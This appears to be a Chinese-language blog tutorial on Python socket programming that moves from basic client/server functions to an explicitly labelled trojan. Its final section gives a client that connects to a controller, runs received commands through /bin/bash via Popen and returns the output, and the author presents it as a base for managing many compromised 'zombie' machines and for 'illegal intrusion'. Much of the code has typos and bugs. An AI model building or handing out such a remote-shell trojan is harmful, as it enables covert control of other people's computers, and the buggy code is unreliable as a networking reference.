Loading

Python网络编程

Python网络编程

C/S架构:

C:client。S:server客户端和服务端结构。关键词:对点、响应。

C/S网络编程思路:Server端进行设置,首先创建一个通信节点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。

Client相对简单,只需要创建一个通信结点,建立到服务器的连接,就可以提出请求了

套接字-通信端点

套接字是具有通信端点概念的计算机网络数据结构。网络化的应用程序在任何通讯之前都必须创建套接字。

在任何一门网络编程语言中,Socekt都是必学的一门语言,他十分底层,效率不高,开发环境中不建议使用,一般是使用shell。但是通过学习Socekt,我们可以制作一些木马,来实现非法入侵,也可以实现简单的聊天。

Socket的本意是插座,在这里指网络编程的接口,也是应用层和传输层之间的桥梁。

Python下的套接字家族:AF_UNIX,AF_INET,AF_NETLINK,其中AF_INET是基于网络的套接字

代码实操

socket模块的socket()函数用来创建套接字

使用socket.socket()函数来创建套接字,参考函数如下:

socket(socket family,socket_type,protocol=0)
#创建一个TCP/IP套接字:
tcpsock=socket(socket.AF_INET,socket,SOCK_STREAM)

服务器端套接字函数

函数作用
s.bind() 绑定地址(主机、端口)到套接字
s.listen() 开始TCP监听
s.accept() 被动接收TCP客户端连接,阻塞式等待连接的到来

客户端套接字函数

函数作用
s.connect() 主动初始化TCP服务器连接
s.connect_ex() Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常

公共用途的套接字函数

函数作用
s.recv() 接受TCP数据
s.send() 发送TCP数据
s.sendall() 完整发送TCP数据
s.recvfrom() 接受UDP数据
s.sendto() 发送UDP数据
s.getpeemame() 连接到当前套接字的远端地址
s.getsockname() 当前套接字的地址
s.getsockopt() 返回指定套接字的参数
s.setsockopt() 设置指定套接字的参数
s.close() 关闭套接字

以上是套接字的基本函数,通过函数,我们可以看到服务端和客户端的一些逻辑,而代码是通过逻辑来编写的:image-20210216004124700

根据以上的逻辑信息,我们可以编写出最简单的服务端函数,并可以在此基础上,演化为面向对象,以及改装成木马病毒。

#coding=utf-8
import socket
server=socket.socket()
HOST='127.0.0.1'
PORT= 4445
ADDR=(HOST,PORT)
server.bind(ADDR)
server.listen()
client,raddr=server.accept()
server.close()

以上就是服务端socket通信的基本流程,有几个具体的细节需要解释下

①:一般来说我们在编写python代码中,第一行会添加编码格式,但是在socket里通过format的编码和解码,提前声明utf-8,会在程序运行中,发生不必要的错误

②:socket.bind()函数接收的是元组,所以我们也可以把绑定函数的那几行代码简化为

server.bind(('127.0.0.1',4445))

 


在不编写socket客户端的情况下,我们可以通过socket调试器,与服务器进行连接或者交互信息:


以上最简单的服务端函数,其实是面向过程的思想,只能是一对一的。
而实际环境中,无论是交流,还是进行远程程序操控,都是一对多的,所以换一种面向对象的思想,可能会更好,这个时候一方面我们需要使用多线程、也要使用类的方法,并且我希望把交流的信息即时返回到控制台上,所以还要引用一个logging库。

通过以上函数,我们可以简单的实现服务端一对多的信

 

 

息交互的socket程序,但是它仍然有很多缺陷,对于以上代码的优化在末尾进行更新和讲解,以上代码的亮点是使用面向对象,并且定义函数,避免了死循环以及多重循环。通过对服务端的理解,我们可以在此基础上常识编写基础的木马:

木马的基本理念是反弹shell,和sock,我们可以通过subprocess中的PIPE来执行

首先看服务端代码:

import socket
import time
from time import ctime
import logging
import threading
​
from subprocess import Popen,PIPE
HOST='192.168.'
PORT=4445
BUFFSIZE=1024
class Server:
    def __init__(self):
        self.ADDR=(HOST,PORT)
        self.server=socket.socket()
        self.clients={}
    def start(self):
        self.server.bind(self.ADDR)
        self.server.listen()
        threading.Thread(target=self.accept,name='accept').start()
    def accept(self):
​
        while True:
            client,raddr=self.server.accept()
            self.clients[raddr]=client
            address='Accept from {}'.format(client.getpeername())
            print(address)
            threading.Thread(target=self.recv,name='recv',args=(client,raddr)).start()
    def recv(self,sock,addr):
        while True:
            try:
                
                data=sock.recv(BUFFSIZE)
                logging.info(BUFFSIZE)
            except Exeption as e:
                data =b'quit'
            if data==b'quit':
                self.clients.pop(sock.getpeername())
                sock.close()
            Time=ctime()
            data=input("cmd")
            msg=" {}ack:{}".format(Time,data.decode()).encode()
            sock.send(msg)
    def stop(self):
        for i in self.clients.value():
            i.close()
        self.sock.close()
s=Server()
s.start()

 

其次看客户端代码:

import socket
from subprocess import Popen,PIPE
HOST='127.0.0.1'
PORT=4445
BUFSIZE=1024
ADDR=(HOST,PORT)
​
tcpClient=socket.socket()
tcpClient.connect(ADDR)
tip='connection successful'.encode()
tcpClient.send(tip)
data="Adderss: {} is connected".format(tcpClient.getsockname())
while True:
    if data=='quit':
        exit()
    tcpClient.send(data)
    data=tcpClient.recv(BUFSIZE)
    if not data:
        break
    cmd=Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
    fil=cmd.stdout.read()
    tcpClient.send(fil)

 

重要的地方就是通过Popen,提供了shell交互,使得服务端可以远程控制多个客户端,本代码只是雏形,在此基础上,可以创建多线程socket肉鸡管理,但是实际环境里我们不怎么使用socket木马,但是通过socket学习网络编程,是我们理解计算机基础的重中之重.

posted @ 2021-02-16 17:03  nliuc  阅读(82)  评论(0编辑  收藏  举报